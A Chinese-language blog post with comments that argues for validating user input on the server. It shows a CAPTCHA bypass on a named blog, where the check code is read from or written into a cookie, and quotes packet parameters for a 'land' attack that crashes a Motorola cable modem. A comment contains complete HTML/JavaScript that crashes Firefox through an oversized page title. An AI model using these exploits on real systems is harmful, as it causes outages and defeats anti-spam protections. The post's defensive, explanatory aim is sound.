如果做到安全的系统之验证用户输入.
程序员或者软件工程师一般都不太注意这个安全的问题. 事实上,对于安全而言有一个基本的思路,只要验证用户的请求应该就可以屏蔽大多数的安全漏洞.
比如很多人会建议,不要拼写SQL语句,比较sql脚本攻击, 不要轻易轻信客户端的请求等.
比如对asp.net 很多人会用用户验证控件,事实上,验证是再客户端进行,我可以禁用所有的script, 让他正常的Post 到服务端. 有些人可能做成客户端安全验证不通过,就把button改为disabled. 事实上我只要在IE 的地址栏执行个小script就可以改为enabled
今天早上看博客堂http://blog.joycode.com/, 回复的时候,估计开心为了避免spam,就稍微修改了一下代码,每次都验证用户的请求. 要求输入一个验证码. 事实上,他做的很不安全.
比如你随便浏览一个页面,需要用户验证的地方, http://blog.joycode.com/kaneboy/archive/2005/12/11/68691.aspx
然后在IE 中,输入javascript:alert(document.cookie) 就会看到验证码就写在cookie中,这个太容易pass through了
cookie 的内容: CheckCode=NJYQ; CommentUser=Name=montaque&Url=
回复的下方正好是NJYQ的图形. 这个很容易就知道应该输入什么,读一下cookie就可以了. 当然,我如果每次嫌输入验证码太麻烦的话, 直接修改你的cookie中checkcode为固定的值,就可以回复了.
早上还收到了一个更cool的漏洞
Motorola SB5100E Cable Modem
Sending "land" packet to motorola device, will cause it to crash.
"LanD" packet is simple TCP syn packet:
Source IP = 192.168.100.1
Destanation IP = 192.168.100.1
Source Port = 80
Destanation Port =80
SYN Flag= 1
One packet can crash modem and all network on cable part will be unreacheble.
Only physical restart can help.
呵呵,验证用户的输入, 不要轻信客户端的验证. 这是两个基本策略. :)

浙公网安备 33010602011771号
评论
当然,你说的不错.
我的意思是说,客户端不可靠.
比如一个requiredvalidator, 如果客户端不支持脚本或者禁用,你就可以不填写任何东西post到服务端.
这时候,你服务端,要判断page 是否是valid ,否则非法的数据也就被你handle了.
@XiaoHui 有可能吧,呵呵.好似博克园也是这么实现的.
很多人说IE不好,Firefox 好. 你可以新建一个htm,源代码如下:
<html><head><title>heh</title><script type="text/javascript">
function ex() {
var buffer = "";
for (var i = 0; i < 5000; i++) {
buffer += "A";
}
var buffer2 = buffer;
for (i = 0; i < 500; i++) {
buffer2 += buffer;
}
document.title = buffer2;
}
</script></head><body>ZIPLOCK says <a href="javascript:ex();">CLICK ME
</a></body></html>
然后你用firefox 浏览一下, 看发生什么问题.
这时候你点击firefox 的历史记录的时候,她就down了.
然后更新的版本,启动的时候就check历史, firefox 就拒绝服务喽.
所以处理历史记录,最起码要验证key的长度,给你一个10K长的索引,就faint了